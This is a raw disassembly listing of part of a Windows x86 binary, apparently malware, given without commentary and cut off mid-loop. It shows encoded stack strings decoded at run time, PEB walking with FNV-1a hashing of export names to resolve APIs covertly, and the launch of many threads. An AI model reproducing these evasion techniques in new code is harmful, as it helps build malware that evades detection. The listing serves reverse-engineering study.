call fcn.0041e9b0
call fcn.0041ea20
call fcn.0041ea90
mov ecx, 0x5350b8
call fcn.004626d0
test al, al
je 0x45fa18
mov ecx, 0x5350b8
call fcn.004626f0
test al, al
jne 0x45fa18
lea ecx, [ebp - 0x1b5]
mov dword [ebp - 0x1b5], 0x95978793
mov dword [ebp - 0x1b1], 0x89998aa7
mov dword [ebp - 0x1ad], 0x909899
mov byte [ebp - 0x1a9], 1
call fcn.0040d440
push eax
mov ecx, 0x5350b8
call fcn.00468ee0
mov ecx, eax
call fcn.004626e0
test al, al
je 0x45fa18
lea ecx, [ebp - 0x1cf]
mov dword [ebp - 0x1cf], 0x95978793
mov dword [ebp - 0x1cb], 0x89998aa7
mov dword [ebp - 0x1c7], 0x909899
mov byte [ebp - 0x1c3], 1
call fcn.0040d440
push eax
mov ecx, 0x5350b8
call fcn.00468ee0
mov ecx, eax
call fcn.00469110
lea ecx, [ebp - 0x16a]
mov byte [0x532aab], al
mov dword [ebp - 0x16a], 0x95978793
mov dword [ebp - 0x166], 0x9d8da7
mov byte [ebp - 0x162], 1
call fcn.0040b3b0
push eax
mov ecx, 0x5350b8
call fcn.00468ee0
mov ecx, eax
call fcn.00469110
lea ecx, [ebp - 0x29]
mov byte [0x532ab5], al
mov dword [ebp - 0x29], 0x95978793
mov dword [ebp - 0x25], 0x899da7
mov byte [ebp - 0x21], 1
call fcn.0040b3b0
push eax
mov ecx, 0x5350b8
call fcn.00468ee0
mov ecx, eax
call fcn.00469110
lea ecx, [ebp - 0x62]
mov byte [0x532aaa], al
mov dword [ebp - 0x62], 0x95978793
mov dword [ebp - 0x5e], 0x979b8ea7
mov dword [ebp - 0x5a], 0x8c8a9890
mov word [ebp - 0x56], 0x100
call fcn.0040e910
push eax
mov ecx, 0x5350b8
call fcn.00468ee0
mov ecx, eax
call fcn.00469110
lea ecx, [ebp - 0x1de]
mov byte [0x532aa9], al
mov dword [ebp - 0x1de], 0x95978793
mov dword [ebp - 0x1da], 0x929290a7
mov dword [ebp - 0x1d6], 0x8d91898f
mov word [ebp - 0x1d2], 0x79
mov byte [ebp - 0x1d0], 1
call fcn.0040a210
push eax
mov ecx, 0x5350b8
call fcn.00468ee0
mov ecx, eax
call fcn.00469110
lea ecx, [ebp - 0x174]
mov byte [0x532ab4], al
mov dword [ebp - 0x174], 0x95978793
mov dword [ebp - 0x170], 0x8b8e9fa7
mov word [ebp - 0x16c], 0x100
call fcn.0040e8b0
push eax
mov ecx, 0x5350b8
call fcn.00468ee0
mov ecx, eax
call fcn.00469110
lea ecx, [ebp - 0x1a8]
mov byte [0x532ab6], al
mov dword [ebp - 0x1a8], 0x95978793
mov dword [ebp - 0x1a4], 0x969b9ea7
mov dword [ebp - 0x1a0], 0x1008e99
call fcn.0040e8e0
push eax
mov ecx, 0x5350b8
call fcn.00468ee0
mov ecx, eax
call fcn.00469110
mov byte [0x532aa8], al
movaps xmm0, xmmword [0x523e70]
lea ecx, [ebp - 0x39d]
movups xmmword [ebp - 0x39d], xmm0
mov byte [ebp - 0x38d], 1
call fcn.0040e880
push eax
mov ecx, 0x5350b8
call fcn.00468ee0
mov ecx, eax
call fcn.00469110
lea ecx, [ebp - 0x17e]
mov byte [0x532ab8], al
mov dword [ebp - 0x17e], 0x95978793
mov dword [ebp - 0x17a], 0x958a8fa7
mov word [ebp - 0x176], 0x100
call fcn.0040e8b0
push eax
mov ecx, 0x5350b8
call fcn.00468ee0
mov ecx, eax
call fcn.00469110
lea ecx, [ebp - 0x188]
mov byte [0x532ab7], al
mov dword [ebp - 0x188], 0xa8938681
mov dword [ebp - 0x184], 0x98948f90
mov word [ebp - 0x180], 0x100
call fcn.0040e8b0
push eax
mov ecx, 0x5350b8
call fcn.00468ee0
mov ecx, eax
call fcn.00469110
movaps xmm0, xmmword [0x5248f0]
lea ecx, [ebp - 0xc4]
mov byte [0x534ea3], al
movups xmmword [ebp - 0xc4], xmm0
mov dword [ebp - 0xb4], 0x1006470
call fcn.0040e940
push eax
mov ecx, 0x5350b8
call fcn.00468ee0
mov ecx, eax
call fcn.00469110
mov byte [0x534e83], al
push 0x51f4b8
lea ecx, [ebp - 0x334]
call fcn.00402700
push 0x51f4b8
lea ecx, [ebp - 0x31c]
call fcn.00402700
push 0x51f4b8
lea ecx, [ebp - 0x304]
call fcn.00402700
lea eax, [ebp - 0x2ac]
mov ecx, 0x535170
push eax
call fcn.00462560
lea eax, [ebp - 0x38c]
mov ecx, 0x535170
push eax
call fcn.004624f0
lea eax, [ebp - 0x38c]
push eax
lea ecx, [ebp - 0x2ac]
call fcn.004663e0
test al, al
jne 0x4600f7
mov ebx, dword [ebp - 0x10]
nop word [eax + eax]
lea ecx, [ebp - 0x2ac]
call fcn.00461c50
lea ecx, [ebp - 0xea]
mov dword [ebp - 0xea], 0x929b949a
mov edi, eax
mov word [ebp - 0xe6], 0x100
call fcn.004620b0
lea eax, [ebp - 0xea]
mov ecx, edi
push eax
call fcn.00468ee0
lea ecx, [ebp - 0x12c]
mov esi, eax
call fcn.00402770
lea edx, [ebp - 0x12c]
mov ecx, esi
call fcn.00478a00
movaps xmm0, xmmword [0x524e90]
lea ecx, [ebp - 0xc6]
movups xmmword [ebp - 0xc6], xmm0
mov dword [ebp - 0xb6], 0x3659606a
mov word [ebp - 0xb2], 0x100
call fcn.00461e10
push 0
lea eax, [ebp - 0xc6]
push eax
lea ecx, [ebp - 0x12c]
call fcn.00464940
lea ecx, [ebp - 0x12c]
mov esi, eax
call fcn.00402660
test esi, esi
jne 0x45fcad
lea ecx, [ebp - 0x14b]
mov dword [ebp - 0x14b], 0x829a9482
mov word [ebp - 0x147], 0x9d
mov byte [ebp - 0x145], 1
call fcn.004094f0
push eax
mov ecx, edi
call fcn.00468ee0
lea ecx, [ebp - 0x34c]
push ecx
mov ecx, eax
call fcn.00469020
push eax
lea ecx, [ebp - 0x334]
call fcn.00464d40
lea ecx, [ebp - 0x34c]
call fcn.00402660
lea ecx, [ebp - 0x46]
mov dword [ebp - 0x46], 0xc98497c8
mov word [ebp - 0x42], 0x100
call fcn.004620b0
push esi
lea eax, [ebp - 0x46]
push eax
lea ecx, [ebp - 0x334]
call fcn.00464940
cmp eax, 0xffffffff
je 0x45fcad
nop dword [eax + eax]
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x74], 0x100fff9
call fcn.00462230
push dword [ebp - 0x10]
lea ecx, [ebp - 0x224]
call fcn.004027f0
lea ecx, [ebp - 0x74]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45fbe3
sub ecx, edx
lea eax, [ebp - 0x74]
push ecx
push eax
lea ecx, [ebp - 0x224]
call fcn.00402810
lea ecx, [ebp - 0x9a]
mov dword [ebp - 0x9a], 0xc98497c8
mov word [ebp - 0x96], 0x100
call fcn.004620b0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x12c]
call fcn.004027f0
lea ecx, [ebp - 0x9a]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45fc31
sub ecx, edx
lea eax, [ebp - 0x9a]
push ecx
push eax
lea ecx, [ebp - 0x12c]
call fcn.00402810
lea eax, [ebp - 0x224]
push eax
lea edx, [ebp - 0x12c]
lea ecx, [ebp - 0x334]
call fcn.0040c170
add esp, 4
lea ecx, [ebp - 0x12c]
call fcn.00402660
lea ecx, [ebp - 0x224]
call fcn.00402660
lea ecx, [ebp - 0x46]
mov dword [ebp - 0x46], 0xc98497c8
mov word [ebp - 0x42], 0x100
call fcn.004620b0
push 0
lea eax, [ebp - 0x46]
push eax
lea ecx, [ebp - 0x334]
call fcn.00464940
cmp eax, 0xffffffff
jne 0x45fbc0
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0xf0], 0x929b949a
mov word [ebp - 0xec], 0x100
call fcn.004620b0
lea eax, [ebp - 0xf0]
mov ecx, edi
push eax
call fcn.00468ee0
lea ecx, [ebp - 0x12c]
mov esi, eax
call fcn.00402770
lea edx, [ebp - 0x12c]
mov ecx, esi
call fcn.00478a00
movaps xmm0, xmmword [0x524e90]
lea ecx, [ebp - 0xc6]
movups xmmword [ebp - 0xc6], xmm0
mov dword [ebp - 0xb6], 0x3559606a
mov word [ebp - 0xb2], 0x100
call fcn.00461e10
push 0
lea eax, [ebp - 0xc6]
push eax
lea ecx, [ebp - 0x12c]
call fcn.00464940
lea ecx, [ebp - 0x12c]
mov esi, eax
call fcn.00402660
test esi, esi
jne 0x45febd
lea ecx, [ebp - 0x152]
mov dword [ebp - 0x152], 0x829a9482
mov word [ebp - 0x14e], 0x9d
mov byte [ebp - 0x14c], 1
call fcn.004094f0
push eax
mov ecx, edi
call fcn.00468ee0
lea ecx, [ebp - 0x34c]
push ecx
mov ecx, eax
call fcn.00469020
push eax
lea ecx, [ebp - 0x31c]
call fcn.00464d40
lea ecx, [ebp - 0x34c]
call fcn.00402660
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], 0xc98497c8
mov word [ebp - 0x3c], 0x100
call fcn.004620b0
push esi
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x31c]
call fcn.00464940
cmp eax, 0xffffffff
je 0x45febd
nop dword [eax + eax]
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x78], 0x100fff9
call fcn.00462230
push dword [ebp - 0x10]
lea ecx, [ebp - 0x224]
call fcn.004027f0
lea ecx, [ebp - 0x78]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45fdf3
sub ecx, edx
lea eax, [ebp - 0x78]
push ecx
push eax
lea ecx, [ebp - 0x224]
call fcn.00402810
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0xa0], 0xc98497c8
mov word [ebp - 0x9c], 0x100
call fcn.004620b0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x12c]
call fcn.004027f0
lea ecx, [ebp - 0xa0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45fe41
sub ecx, edx
lea eax, [ebp - 0xa0]
push ecx
push eax
lea ecx, [ebp - 0x12c]
call fcn.00402810
lea eax, [ebp - 0x224]
push eax
lea edx, [ebp - 0x12c]
lea ecx, [ebp - 0x31c]
call fcn.0040c170
add esp, 4
lea ecx, [ebp - 0x12c]
call fcn.00402660
lea ecx, [ebp - 0x224]
call fcn.00402660
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], 0xc98497c8
mov word [ebp - 0x3c], 0x100
call fcn.004620b0
push 0
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x31c]
call fcn.00464940
cmp eax, 0xffffffff
jne 0x45fdd0
lea ecx, [ebp - 0xf6]
mov dword [ebp - 0xf6], 0x929b949a
mov word [ebp - 0xf2], 0x100
call fcn.004620b0
lea eax, [ebp - 0xf6]
mov ecx, edi
push eax
call fcn.00468ee0
lea ecx, [ebp - 0x12c]
mov esi, eax
call fcn.00402770
lea edx, [ebp - 0x12c]
mov ecx, esi
call fcn.00478a00
movaps xmm0, xmmword [0x524e90]
lea ecx, [ebp - 0xc6]
movups xmmword [ebp - 0xc6], xmm0
mov dword [ebp - 0xb6], 0x3459606a
mov word [ebp - 0xb2], 0x100
call fcn.00461e10
push 0
lea eax, [ebp - 0xc6]
push eax
lea ecx, [ebp - 0x12c]
call fcn.00464940
lea ecx, [ebp - 0x12c]
mov esi, eax
call fcn.00402660
test esi, esi
jne 0x4600cc
lea ecx, [ebp - 0x159]
mov dword [ebp - 0x159], 0x829a9482
mov word [ebp - 0x155], 0x9d
mov byte [ebp - 0x153], 1
call fcn.004094f0
push eax
mov ecx, edi
call fcn.00468ee0
lea ecx, [ebp - 0x34c]
push ecx
mov ecx, eax
call fcn.00469020
push eax
lea ecx, [ebp - 0x304]
call fcn.00464d40
lea ecx, [ebp - 0x34c]
call fcn.00402660
lea ecx, [ebp - 0x3a]
mov dword [ebp - 0x3a], 0xc98497c8
mov word [ebp - 0x36], 0x100
call fcn.004620b0
push esi
lea eax, [ebp - 0x3a]
push eax
lea ecx, [ebp - 0x304]
call fcn.00464940
cmp eax, 0xffffffff
je 0x4600cc
nop dword [eax + eax]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x100fff9
call fcn.00462230
push ebx
lea ecx, [ebp - 0x224]
call fcn.004027f0
lea ecx, [ebp - 0x7c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460001
sub ecx, edx
lea eax, [ebp - 0x7c]
push ecx
push eax
lea ecx, [ebp - 0x224]
call fcn.00402810
lea ecx, [ebp - 0x8e]
mov dword [ebp - 0x8e], 0xc98497c8
mov word [ebp - 0x8a], 0x100
call fcn.004620b0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x12c]
call fcn.004027f0
lea ecx, [ebp - 0x8e]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460050
sub ecx, edx
lea eax, [ebp - 0x8e]
push ecx
push eax
lea ecx, [ebp - 0x12c]
call fcn.00402810
lea eax, [ebp - 0x224]
push eax
lea edx, [ebp - 0x12c]
lea ecx, [ebp - 0x304]
call fcn.0040c170
add esp, 4
lea ecx, [ebp - 0x12c]
call fcn.00402660
lea ecx, [ebp - 0x224]
call fcn.00402660
lea ecx, [ebp - 0x3a]
mov dword [ebp - 0x3a], 0xc98497c8
mov word [ebp - 0x36], 0x100
call fcn.004620b0
push 0
lea eax, [ebp - 0x3a]
push eax
lea ecx, [ebp - 0x304]
call fcn.00464940
cmp eax, 0xffffffff
jne 0x45ffe0
lea ecx, [ebp - 0x2ac]
call fcn.00461c00
lea eax, [ebp - 0x38c]
push eax
lea ecx, [ebp - 0x2ac]
call fcn.004663e0
test al, al
je 0x45fa90
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esp, 0x18
lea eax, [ebp - 0x304]
mov ecx, esp
push eax
call fcn.00464ec0
sub esp, 0x18
lea eax, [ebp - 0x31c]
mov ecx, esp
push eax
call fcn.00464ec0
sub esp, 0x18
lea eax, [ebp - 0x334]
mov ecx, esp
push eax
call fcn.00464ec0
call fcn.00409520
add esp, 0x48
cmp byte [0x534ea9], 0
jne 0x46108d
call fcn.0044a550
call fcn.0044cb60
push str.Facepalm
call ebx
mov ecx, 0x535034
call fcn.00461810
mov ecx, 0x535158
call fcn.00461810
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x44d340
push 0
push 0
call esi
push 0
push 0
push 0
push 0x44e540
push 0
push 0
mov dword [ebp - 0x20c], eax
call esi
push 0
push 0
push 0
push 0x452530
push 0
push 0
mov dword [ebp - 0x208], eax
call esi
mov dword [ebp - 0x1f4], eax
call fcn.0043b350
test al, al
je 0x460247
lea ecx, [ebp - 0x3f8]
call fcn.0043b5e0
lea ecx, [ebp - 0x161]
mov dword [ebp - 0x161], 0x9e919a98
mov edi, eax
mov dword [ebp - 0x15d], 0x1008a96
call fcn.0040ff60
sub esp, 0x10
mov dword [ebp - 0x19c], 0x9b8394a2
mov esi, esp
mov dword [ebp - 0x198], 0xbeb3a68c
mov ecx, edi
mov word [ebp - 0x194], 0x100
push eax
call fcn.00468ee0
push eax
mov ecx, esi
call int.004629d0
lea ecx, [ebp - 0x19c]
call fcn.0040e8b0
push eax
mov ecx, 0x5350f0
call fcn.00468ee0
mov ecx, eax
call fcn.00462990
lea ecx, [ebp - 0x3f8]
call fcn.00462970
call fcn.0043b5b0
lea ecx, [ebp - 0x3d0]
call fcn.0043c4a0
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x9e919a98
mov edi, eax
mov dword [ebp - 0x1c], 0x1008a96
call fcn.0040ff60
movaps xmm0, xmmword [0x524930]
sub esp, 0x10
mov esi, esp
mov dword [ebp - 0x2c4], 0x1007668
mov ecx, edi
movups xmmword [ebp - 0x2d4], xmm0
push eax
call fcn.00468ee0
push eax
mov ecx, esi
call int.004629d0
lea ecx, [ebp - 0x2d4]
call fcn.0040e940
push eax
mov ecx, 0x5350f0
call fcn.00468ee0
mov ecx, eax
call fcn.00462990
lea ecx, [ebp - 0x3d0]
call fcn.00462970
mov eax, dword fs:[0x30]
mov dword [ebp - 0x54], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460334
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460334
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46032d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460310
cmp esi, 0x71948ca4
je 0x460338
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4602f8
mov eax, dword [eax]
jmp 0x4602d2
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [ebp - 0x54]
add edi, edx
call fcn.00466b80
lea ecx, [ebp - 0x20c]
mov esi, dword [eax]
call fcn.00466b80
push esi
push dword [eax]
call edi
push 0
push 0x67b652
call fcn.00407d20
add esp, 8
push eax
push dword [ebp - 0x208]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4603f9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4603f9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4603f2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4603d5
cmp esi, 0x71948ca4
je 0x4603fd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4603c0
mov eax, dword [eax]
jmp 0x460393
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x1f4]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460494
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460494
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46048d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460470
cmp esi, 0xfaba0065
je 0x460498
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460456
mov eax, dword [eax]
jmp 0x460430
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x20c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460529
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460529
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460522
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460505
cmp esi, 0xfaba0065
je 0x46052d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4604f0
mov eax, dword [eax]
jmp 0x4604c5
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x208]
add esi, edx
call fcn.00466b80
push dword [eax]
call esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4605c4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4605c4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4605bd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4605a0
cmp esi, 0xfaba0065
je 0x4605c8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460587
mov eax, dword [eax]
jmp 0x460561
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x1f4]
add esi, edx
call fcn.00466b80
push dword [eax]
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x452af0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x454490
push 0
push 0
mov dword [ebp - 0x1fc], eax
call ebx
push 0
push 0
push 0
push 0x4574c0
push 0
push 0
mov dword [ebp - 0x1f8], eax
call ebx
push 0
push 0
push 0
push 0x459720
push 0
push 0
mov dword [ebp - 0x54], eax
call ebx
push 0
push 0
push 0
push 0x45c2c0
push 0
push 0
mov dword [ebp - 0x114], eax
call ebx
push 0
push 0
push 0
push 0x45c410
push 0
push 0
mov dword [ebp - 0x70], eax
call ebx
push 0
push 0
push 0
push 0x45df60
push 0
push 0
mov dword [ebp - 0x6c], eax
call ebx
sub esp, 0x18
mov dword [ebp - 0x68], eax
mov ecx, esp
push 0x532ad4
call fcn.00464ec0
sub esp, 0x18
lea eax, [ebp - 0x264]
mov ecx, esp
push eax
call fcn.00464ec0
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x27c]
push eax
call fcn.00464ec0
sub esp, 0x18
mov ecx, esp
push 0x532aec
call fcn.00464ec0
call fcn.0040d470
mov eax, dword fs:[0x30]
add esp, 0x60
mov dword [ebp - 0x34], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460749
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460749
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460742
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460725
cmp esi, 0x71948ca4
je 0x46074d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460710
mov eax, dword [eax]
jmp 0x4606e6
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [ebp - 0x34]
add edi, edx
call fcn.00466b80
lea ecx, [ebp - 0x1fc]
mov esi, dword [eax]
call fcn.00466b80
push esi
push dword [eax]
call edi
mov eax, dword fs:[0x30]
mov dword [ebp - 0x34], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4607f9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4607f9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4607f2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4607d5
cmp esi, 0x71948ca4
je 0x4607fd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4607c0
mov eax, dword [eax]
jmp 0x460793
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [ebp - 0x34]
add edi, edx
call fcn.00466b80
lea ecx, [ebp - 0x1f8]
mov esi, dword [eax]
call fcn.00466b80
push esi
push dword [eax]
call edi
push 0x493e0
push dword [ebp - 0x54]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov dword [ebp - 0x34], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4608b4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4608b4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4608ad
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460890
cmp esi, 0x71948ca4
je 0x4608b8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460877
mov eax, dword [eax]
jmp 0x460851
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [ebp - 0x34]
add edi, edx
call fcn.00466b80
lea ecx, [ebp - 0x114]
mov esi, dword [eax]
call fcn.00466b80
push esi
push dword [eax]
call edi
push 0x493e0
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460969
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460969
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460962
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460945
